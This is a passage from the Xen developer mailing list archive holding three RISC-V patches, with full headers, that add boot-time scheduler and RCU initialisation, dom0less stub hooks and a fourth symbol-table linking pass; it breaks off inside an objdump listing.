         k+CJmAFcvDmXcAFaQroahlA0MnwJUzT7Q4UycwCZsvbOkAw3OBU370z5WUceNHOlq9EX
         yQpQ==
X-Gm-Message-State: AOJu0YwbeMQwZR4IHkQSLF+2vY7T6BHp6rJyRVk3AoSwUG7HgQsgVAPX
	rgR6yLI/1NH4PlyPLbOuCga38wOqgC8vgw/z+9J6dPb+v+AaF4mZhcDINFHsMw==
X-Gm-Gg: AfdE7cnAMj31o14Z0t9X4V8V3Np2uzE/bMMYSk+WkKuR6Cag88e1oZ9o4uz3L7KHCZp
	9e7OkMOcHFaIsAVnivkTejvgL19YaW/CvI4woA4xS0FHK5Ms8A6+j+8QGZb5ASeLHciEdUFirrC
	tHXOYKt7DseCycJlQMIidwwZ75Rro0fQqbkkkhurGWUlx1HHpvzqKpX20aNIsaRdJJxLCNPIOaI
	3K8IyMSBiRyulMpvlAjgnjE6V4JW2/Yd29rFRBEF62wTcNEYUoUpXxZg4/FjHJS8KOqcmSah9l6
	OxQFDrGrICFTQLCOHpskfcMh8I1riORQXxF0raXYdHyB8fW9Q9p738fcAR3ylsDUR/jDjwatESa
	L5sqLa/ngc40QoJeR/Fb4rUnGQKGzGhQ5x9gm/roLlUpn0uplpbY4LdDF/saiFgOmcIbvbGDQ3a
	Sg+af+iT2+vrbtgMmGinqKprsLODNAtGi7t70RBoXN76XbLUlzI97IzTlaLxC60ABKOAUI
X-Received: by 2002:a05:600c:37cd:b0:493:9661:f55d with SMTP id 5b1f17b1804b1-493df09a412mr13882195e9.30.1783353528691;
        Mon, 06 Jul 2026 08:58:48 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 23/26] xen/riscv: initialize RCU, scheduler, and system domains in start_xen()
Date: Mon,  6 Jul 2026 17:58:04 +0200
Message-ID: <b23f11169c454389ac2e71e7973a095ff56f6735.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1783353529-C5F3C68D-59DF2D02/10/73395122804
X-purgate-type: spam
X-purgate-size: 1560

Wire up the missing early-boot initialization steps in start_xen().

The scheduler must be initialized prior to do_initcalls() because
cpupool_create_pool() is called during initcalls; without it,
BUG_ON(IS_ERR(pool)) is triggered inside cpupool_create_pool().

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4-5:
 - Nothing changed. Only rebase.
---
Changes in v3:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v2:
 - New patch. Several patches were folded into one.
---
---
 xen/arch/riscv/setup.c | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/xen/arch/riscv/setup.c b/xen/arch/riscv/setup.c
index 56a0907a855f..c3e98733ebc3 100644
--- a/xen/arch/riscv/setup.c
+++ b/xen/arch/riscv/setup.c
@@ -6,9 +6,12 @@
 #include <xen/compile.h>
 #include <xen/console.h>
 #include <xen/device_tree.h>
+#include <xen/domain.h>
 #include <xen/init.h>
 #include <xen/irq.h>
 #include <xen/mm.h>
+#include <xen/rcupdate.h>
+#include <xen/sched.h>
 #include <xen/serial.h>
 #include <xen/shutdown.h>
 #include <xen/smp.h>
@@ -156,12 +159,21 @@ void __init noreturn start_xen(unsigned long bootcpu_id,
 
     timer_init();
 
+    rcu_init();
+
+    setup_system_domains();
+
     local_irq_enable();
 
     console_init_postirq();
 
     guest_mm_init();
 
+    scheduler_init();
+    set_current(idle_vcpu[0]);
+
+    do_initcalls();
+
     printk("All set up\n");
 
     machine_halt();
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:59:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:59:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355565.1610469 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglin-00061R-Tn; Mon, 06 Jul 2026 15:59:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355565.1610469; Mon, 06 Jul 2026 15:59:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglim-0005uk-Mq; Mon, 06 Jul 2026 15:59:00 +0000
Received: by outflank-mailman (input) for mailman id 1355565;
 Mon, 06 Jul 2026 15:58:53 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wglie-000460-EU
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglid-00AcZM-Qf
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:51 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ae-5cb7-0a2a0a5109dd-0a2a4506c18e-30
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:51 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0bb-08de-0a2a45060019-d1558033e1a9-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:51 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493c83474ddso29313405e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:51 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.49
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353531; x=1783958331; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=geHCSDaLoyJK0T4JaX0vw42LUcqQXsZkwutnK3Lm7Fo=;
        b=Ttifz6pCIj12NeSMJLMk1jeMGtlVC2aP1o7atKbJ0LILzLLPwO6EF1jf2GCXUip+d0
         PXmoeOWfitSb9sIWAaVg0pSK4TaaHPghe2yc4Q8cmgoAsAHSvsM5BXrBJd22jwgPHyiJ
         qzf36OKJEijaUit0wGZh7G+OlrJtz+tQ5dWURssDv4m5WY0Wk/TMZFwYl4CQx+xkRVMd
         TnWB3vMVvwJ81uc4CxRLeejvgGuLvbOaCFpqdeeEBqinN5G7FaMUZBi+6On4NdfwHvRY
         D/9Oi8R7RhmRcZwvLOI0M2xgAeE+wrc+nz98UPk1+xKnZP17FyMitBe/AmIR7D3CIyJm
         6UKg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353531; x=1783958331;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=geHCSDaLoyJK0T4JaX0vw42LUcqQXsZkwutnK3Lm7Fo=;
        b=JAVvaMUBXeCGBHtNIpsW0iKj6jslj2Nv357hWU5xQdB2YEA3BbiReQjoif/FlojqjG
         U6BMQ6XVO6xpxi7S9p6yFaP49lWC5Fm89XvJQdRJIGEND36xPs1KIxsajOx/yA+vV3b/
         0aKVKCM58UxfAb1psPzlzpl0l2F53hHB9XJoaekDdFAcg7YGLEZBJmozSgRBkqFQ4TZ8
         tEYzSllOXNfO7lKojcqNN/fbxAvHPgA+74gUrHtgVY9pu4s+AQfdzzBwaTwehgKqfJO8
         j8sXCQJzc1wfy9MgX0isU8dFct7pI2h+SQUn6jE2p5MOjzxxRwyYbuL8gAEwNqhl7Ej5
         VCpA==
X-Gm-Message-State: AOJu0Yy9vj7vcxQo/h/XjbQzFyposBHWHdHOIon6LOX+zcF3HMSrIQF7
	uS3+Pw+7v3+0+F4a+7zu9xtv45XBYDFFYEKf79xkupltb0Wnavhq0aXwIAOfCA==
X-Gm-Gg: AfdE7cmYVrVhzkos77GbQ8Vpdzgzccb2VvMorZTKa6hNvKnhzfzeuQPdkYdPkhNJmrW
	hAgX/oDradi+imx9RSLqrZfABPCzOVshmGJau+eJNTrC/NN+5Q2ImdjaQOdweidTpyqsQ6/enlV
	aiY2bK3BTXPNaxkE/JnWclJJJ2LopRiQ2wqqJEhQQWXzbHV/SwZdpxd7GKSi++twrKyvqIilgxF
	cJ+NsmVE7XrXHOEy26CHb4eydt9zhz1j4+LK0ixBEbcgg51sKLipZ8RQ+CBg3JPFtcGLg5MRuLH
	4KUeTZV7Ut5vweDrr90Tbnj+6pyVSgt0NUZl/Dw6trKWVgu5s5tDmVgJDD7ZXo3aQSeALfG2sRW
	93lxLaclroGuju7fZnK7PmrCtHki5oG/q/m6eKK3/D7ajiMlhXyKzQU8EWn7p8JbrCViM/nNte5
	OofrL8MZKjL/YPcaK8OT37esTZGzHS1zUAuRTGfWmlKwfhveKz2qmrDLSJeQ==
X-Received: by 2002:a7b:c38e:0:b0:492:6f6f:fa42 with SMTP id 5b1f17b1804b1-493df0a1b84mr9512065e9.37.1783353531170;
        Mon, 06 Jul 2026 08:58:51 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 25/26] xen/riscv: add initial dom0less infrastructure support
Date: Mon,  6 Jul 2026 17:58:06 +0200
Message-ID: <8fdb9cb4579e20dec10a9919fa966bc00394c6e7.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1783353531-C593B68D-D4475562/10/73395122804
X-purgate-type: spam
X-purgate-size: 7215

Enable dom0less support for RISC-V by selecting HAS_DOM0LESS and
providing the minimal architecture hooks required by the common
dom0less infrastructure.

Add stub implementations for architecture-specific helpers used when
building domains from the device tree. These allow the generic
dom0less code to build and let a basic DomU be constructed on RISC-V.
construct_hwdom() and make_hypervisor_node() are still stubs returning
an error: Dom0/hwdom construction isn't supported yet, and the
hypervisor node generation (needed by domains with
DOM0LESS_ENHANCED_NO_XS set) is not implemented. Both are marked with
a TODO and are not reached by the currently supported configurations.

Provide missing helpers and definitions required by the domain
construction code, including domain bitness helpers and the
p2m_set_allocation() prototype.

Additionally define the guest magic memory region (GUEST_MAGIC_BASE /
GUEST_MAGIC_SIZE) in asm/guest-layout.h. The base is arbitrary; the
only constraint is that the region must not overlap guest RAM or the
emulated device regions. It is placed in the unused gap below
GUEST_RAM0_BASE (0x80000000); the constraints are documented next to
the #define-s.

A separate region for grant tables will be introduced at the same time as
the introduction of the grant table for RISC-V.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
 - Reword the comment above defintion of GUEST_MAGIC_BASE.
 - Shrunk the size of GUEST_MAGIC_SIZE to 2Mb as looking on the Arm
   only 4 pages are used and there is no technical reason to have 16Mb for
   that region. (Maybe in case of Arm it is connected that Arm has these
   definitions in public header so more space is reserved to not "break"
   public API in future)
 - Update the commit message with a remark about grant table region
   in guest-layout.h.
---
Changes in v4:
  - Reword the description: the stubs do not let dom0less fully "run"
    since construct_hwdom() and make_hypervisor_node() return an error;
    spell out these limitations instead.
  - Add a TODO comment to construct_hwdom() explaining that Dom0/hwdom
    construction isn't supported yet.
  - Add a TODO comment to make_hypervisor_node() explaining that
    returning an error breaks building of domains with
    DOM0LESS_ENHANCED_NO_XS set, and why that is harmless for now.
  - Document the constraints on GUEST_MAGIC_BASE/GUEST_MAGIC_SIZE next
    to the #define-s and drop the QEMU-based justification (QEMU is not
    involved); the base is simply an arbitrary non-overlapping address.
Changes in v3:
  - Add /* Nothing specific to do for now */ comment to
    arch_handle_passthrough_prop().
  - Use _ULL() instead of xen_mk_ullong() for GUEST_MAGIC_BASE and
    GUEST_MAGIC_SIZE (xen_mk_ullong() is intended for public headers only).
  - Fix GUEST_MAGIC_BASE from 0x39000000 to 0x79000000 to avoid the
    QEMU RISC-V virt machine PCIE_ECAM range.
  - Drop CONFIG_STATIC_MEMORY=n from the CI randconfig; now redundant
    since STATIC_MEMORY depends on HAS_STATIC_MEMORY which RISC-V does
    not select.
Changes in v2:
  - Move declaration of p2m_set_allocation() to p2m-common.h.
  - Add __initdata for max_init_domid and drop initalizer for it.
  - Add CONFIG_STATIC_MEMORY=n to CI's randconfig to avoid
    compilation error because of guest_physmap_add_pages()
    isn't provided.
---
 xen/arch/riscv/Kconfig                    |  2 ++
 xen/arch/riscv/dom0less-build.c           |  7 ++++++
 xen/arch/riscv/domain-build.c             | 28 +++++++++++++++++++++++
 xen/arch/riscv/include/asm/guest-layout.h | 12 ++++++++++
 4 files changed, 49 insertions(+)

diff --git a/xen/arch/riscv/Kconfig b/xen/arch/riscv/Kconfig
index 48520588fe40..d8a348c0cf07 100644
--- a/xen/arch/riscv/Kconfig
+++ b/xen/arch/riscv/Kconfig
@@ -6,6 +6,8 @@ config RISCV
 	select GENERIC_BUG_FRAME
 	select GENERIC_UART_INIT
 	select HAS_DEVICE_TREE_DISCOVERY
+	select HAS_DOM0LESS
+	select HAS_DOMAIN_TYPE
 	select HAS_EX_TABLE
 	select HAS_PMAP
 	select HAS_UBSAN
diff --git a/xen/arch/riscv/dom0less-build.c b/xen/arch/riscv/dom0less-build.c
index d1a51b92936a..0801d7e25059 100644
--- a/xen/arch/riscv/dom0less-build.c
+++ b/xen/arch/riscv/dom0less-build.c
@@ -102,3 +102,10 @@ int __init arch_parse_dom0less_node(struct dt_device_node *node,
 
     return 0;
 }
+
+int __init arch_handle_passthrough_prop(struct kernel_info *kinfo,
+                                        struct dt_device_node *node)
+{
+    /* Nothing specific to do for now */
+    return 0;
+}
diff --git a/xen/arch/riscv/domain-build.c b/xen/arch/riscv/domain-build.c
index 089e5ce0e0a4..7f24bd1023bb 100644
--- a/xen/arch/riscv/domain-build.c
+++ b/xen/arch/riscv/domain-build.c
@@ -175,9 +175,37 @@ int __init make_cpus_node(const struct domain *d, struct kernel_info *kinfo)
     return res;
 }
 
+int __init construct_hwdom(struct kernel_info *kinfo,
+                           const struct dt_device_node *node)
+{
+    /*
+     * TODO: Dom0/hwdom construction isn't supported on RISC-V yet, so this
+     * is a stub returning an error. It must be implemented before a hardware
+     * domain can be built from the device tree.
+     */
+
+    return -EOPNOTSUPP;
+}
+
 int __init make_timer_node(const struct kernel_info *kinfo)
 {
     /* There is no need for timer node for RISC-V. */
 
     return 0;
 }
+
+int __init make_hypervisor_node(struct domain *d,
+                                const struct kernel_info *kinfo,
+                                int addrcells, int sizecells)
+{
+    /*
+     * TODO: Generating the hypervisor node isn't implemented yet. Returning
+     * an error here breaks building of any domain (DomU included) whose
+     * dom0less_feature has DOM0LESS_ENHANCED_NO_XS set. This is harmless for
+     * now because Dom0/hwdom construction isn't supported on RISC-V yet
+     * either, and no RISC-V DomU sets that flag, so this path is never taken.
+     * It must be implemented before DOM0LESS_ENHANCED_NO_XS is used.
+     */
+
+    return -EOPNOTSUPP;
+}
diff --git a/xen/arch/riscv/include/asm/guest-layout.h b/xen/arch/riscv/include/asm/guest-layout.h
index 90603f06bb91..ceed9125e7e2 100644
--- a/xen/arch/riscv/include/asm/guest-layout.h
+++ b/xen/arch/riscv/include/asm/guest-layout.h
@@ -32,4 +32,16 @@
 #define GUEST_RAM_BANK_BASES   { GUEST_RAM0_BASE, GUEST_RAM1_BASE }
 #define GUEST_RAM_BANK_SIZES   { GUEST_RAM0_SIZE, GUEST_RAM1_SIZE }
 
+/*
+ * The guest magic region holds the Xen-reserved pages mapped into the
+ * guest's physical address space. The only real constraint on
+ * GUEST_MAGIC_BASE/SIZE is that the region must not overlap guest RAM
+ * (the GUEST_RAMx banks) or the emulated device regions defined above;
+ * the exact base is otherwise arbitrary. Here it is placed in the unused gap
+ * below GUEST_RAM0_BASE (0x80000000), but a hole after a RAM bank would work
+ * equally well.
+ */
+#define GUEST_MAGIC_BASE  _UL(0x79000000)
+#define GUEST_MAGIC_SIZE  _UL(0x00200000)
+
 #endif /* ASM_RISCV_GUEST_LAYOUT_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:59:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:59:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355572.1610477 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglip-0006Kb-EO; Mon, 06 Jul 2026 15:59:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355572.1610477; Mon, 06 Jul 2026 15:59:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglio-0006Ee-6N; Mon, 06 Jul 2026 15:59:02 +0000
Received: by outflank-mailman (input) for mailman id 1355572;
 Mon, 06 Jul 2026 15:58:54 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wglif-0004OB-Ov
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglif-009yrN-5A
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:53 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd074-e002-0a2a0a5209dd-0a2a450cca90-44
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:53 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0bc-f399-0a2a450c0019-d155802cada0-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:53 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493ce08a75bso13625345e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:53 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.51
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353532; x=1783958332; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=IxRXEnbnwcKwLoBQXvU2u8JCcaQ998O7uU3S4PznH3Q=;
        b=E8cmFWT97x4lrt1ZPiQ+amgj+VkUa+G++KeSAiYqHDuaWMkdWiCFzqNE8UgjWG+f4O
         iJC/qLVdxJk5KvP4gE4HoyO0L3gUn+UOv/l7decVRabxp65FHZvLe/uVVvwt4X/EBAy8
         B4SiHpGg2J+564XRMtZVflCXKq/FYlN1Yvsbi86udHNd7ZQ6lTYxzEX9B41MG5HL12fL
         Bs0kum6nu2OEYHvjZ3wC8OrFcC0DCfGlfbOB/IbHWzsjkHyArXaT3hQGDIClKfL9JJfy
         U2ExOzlBltSNeUfcy7IPJzmn6hi7JLsDuN0LdPsNBtxrgkw0ruiFrPx4mKoVdPSRe8XD
         CIrw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353532; x=1783958332;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=IxRXEnbnwcKwLoBQXvU2u8JCcaQ998O7uU3S4PznH3Q=;
        b=LR4ph/7195WOJfg/c5bGDWrg1FD0U/VkittpKrhARa0M6QC1KEdDOT4ioBew+dg6MG
         h4lKztJu8hPzYrCamvYxiC3tIJNs0fBgm909spl4pz/aX/XdTOORmyXusHiLQqVurF+A
         WqrWcI/3IUd2EJgHRztM/yB7ifmC9VT07gXDgadplCGpMJfRDPIUasqAt2ATzFtcE5zy
         Per+V1/xkvnYeWRQp/5xHBmmme9Ip7oajCzbBgt+LNbpUo4+/xXvchyNDoCy4liLo0RM
         dqW8qcJ17K6HQpOkctAl0SxDrGULbkvK3pNsrWELuDeHlwZLt0x+yhaW1ViSuCTwvVL3
         /Lsw==
X-Gm-Message-State: AOJu0Yyj+b3xxGqAZNUmk/3p6u/kIjpG6YsIbthYrDxPL7fxhoXKWEBq
	bdBoF/FE9s/Grm2rn36ZH2veHlmGad601K4pD3O+YOlnW6qc1DxYqRR3AnBM2A==
X-Gm-Gg: AfdE7ckZAK8R1BCDds72LcuB5GIwW7XZX7ZxX1MTJVHRm5SKrIFUwY75TYresYfRRA4
	ezZf08dGi7N+/WnVN0cO3LcjvBg8f3SUU74DA2JnHhwrCR3IO9NtQl51lhcw8PjKpwwd+Wsfpxq
	rJuGrzx+CFkEvZV6X9mxqdk8s3A24BL4Hp8Ub6/id0IHsvVTHV3NPn9d/YrpoAyLVAhwZLnc4kV
	ULAgpDm3yzlUZSYaGjj4/4cJQ+fvTfn7bo7HbDEVasc8w8j5oUL3BAWYg4oxn3ZW6Iu2iprKei6
	E3uAwuRxZdtb2zkBPI73iAW25LORrYd5kjp1X8Owe1HlaTVKzsROkfoPmWThutHH+0w2VqrZhIa
	Ds6X9k/VcVtMaxDfJT8pGh0VJiALSyUYcOCzbjzyHg88HypPSc39jcPGsEsf8y6a7eIMePSBZWG
	Y6oWQaY2Yb9qebmI2EiIRFytbqTQpDkSG4GRfxB0bpOmOlr3nj55+dzzm/4w==
X-Received: by 2002:a7b:cc81:0:b0:493:cc01:807b with SMTP id 5b1f17b1804b1-493df0a0861mr10510525e9.38.1783353532508;
        Mon, 06 Jul 2026 08:58:52 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 26/26] xen/riscv: do a 4th linking pass if necessary
Date: Mon,  6 Jul 2026 17:58:07 +0200
Message-ID: <ba3b7e3197ae90c9f0e5190ba34de174b86090ac.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783353533-93934D51-2DB467E5/10/73395122804
X-purgate-type: spam
X-purgate-size: 5835

Embedding the symbol table can shift sections and flip relaxation
decisions, changing code size and thus the set of emitted symbols
(e.g. gap end markers).  Re-link with a regenerated table when its
size differs from the previous pass.

This mirrors commit 35de7285d508 ("Arm: do a 4th linking pass if
necessary"), which riscv didn't receive when the underlying
pass-2-vs-pass-3 check was extended to it in commit aa786d6e3467
("non-x86/symbols: check table sizes don't change between linking
passes 2 and 3").

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
I faced this issue again in downstream:
  https://gitlab.com/xen-project/people/olkur/xen/-/jobs/15171254706

It was found that the difference between .xen-syms.0 and .xen-syms.1 is in
alignment(?) gap between turn_on_mmu() and the end of simple_strtoull.
Specifically 0xffffffffc00c05b0 is present in pass 1 but not present in
pass 2 (where end of simple_strtoull() is just equal to ffffffffc00c05c0)
because code was shifted:

```
.xen-syms.0:     file format elf64-littleriscv

...

ffffffffc00c0534:       f2e794e3                bne     a5,a4,ffffffffc00c045c <simple_strtoull+0x18>
ffffffffc00c0538:       00280813                addi    a6,a6,2
ffffffffc00c053c:       f21ff06f                j       ffffffffc00c045c <simple_strtoull+0x18>
ffffffffc00c0540:       00068813                mv      a6,a3
ffffffffc00c0544:       00800613                li      a2,8
ffffffffc00c0548:       f15ff06f                j       ffffffffc00c045c <simple_strtoull+0x18>
ffffffffc00c054c:       00277713                andi    a4,a4,2
ffffffffc00c0550:       04070463                beqz    a4,ffffffffc00c0598 <simple_strtoull+0x154>
ffffffffc00c0554:       fe06869b                addiw   a3,a3,-32
ffffffffc00c0558:       0ff6f693                zext.b  a3,a3
ffffffffc00c055c:       fc96879b                addiw   a5,a3,-55
ffffffffc00c0560:       04c7f263                bgeu    a5,a2,ffffffffc00c05a4 <simple_strtoull+0x160>
ffffffffc00c0564:       02a60533                mul     a0,a2,a0
ffffffffc00c0568:       00f50533                add     a0,a0,a5
ffffffffc00c056c:       00180813                addi    a6,a6,1
ffffffffc00c0570:       00084683                lbu     a3,0(a6)
